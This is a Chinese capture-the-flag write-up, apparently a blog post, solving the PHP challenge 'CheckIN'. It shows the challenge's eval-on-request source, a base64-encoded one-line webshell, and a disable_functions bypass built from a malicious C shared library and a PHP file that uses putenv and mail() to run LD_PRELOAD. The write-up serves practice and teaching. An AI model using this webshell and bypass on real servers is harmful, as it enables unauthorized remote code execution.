CheckIN

CheckIN

打开链接,得到源码
在这里插入图片描述

<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

尝试用phpinfo();
/?Ginkgo=cGhwaW5mbygpOw==
发现禁用了很多函数
在这里插入图片描述
传入一句话木马,用蚁剑连接
eval($_POST[123]); ZXZhbCgkX1BPU1RbMTIzXSk7
在这里插入图片描述
发现flag,但是无法读取

这里需要绕过disable_funation函数,我们使用LD_PRELOAD绕过。LD_PRELOAD是一个linux系统的环境变量,由这个变量指定的so文件会在程序本身的so文件加载之前被加载。所以我们需要构造一个so文件和一个需要加载so文件的php程序,并且需要将LD_PRELOAD指定成我们构造的so文件。
步骤:
通过C语言,写一个恶意动态链接库文件hack.so→设置环境变量恶意的hack.so文件的路径→配合php中函数触发hack.so文件→RCE

1.c

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
__attribute__((constructor))void payload() {
         unsetenv("LD_PRELOAD");
         system("/readflag > /var/tmp/flag.txt");
}

shell.php

<?php
putenv("LD_PRELOAD=/var/tmp/hack.so");
mail("", "", "", "");
error_log("",1,"","");
?>

访问php程序,无法直接访问到/var/tmp文件夹下面的php程序,我们通过include将php包含进来。

/?Ginkgo=aW5jbHVkZSgiL3Zhci90bXAvc2hlbGwucGhwIik7

最后得到flag
在这里插入图片描述

https://www.cnblogs.com/karsa/p/13051079.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值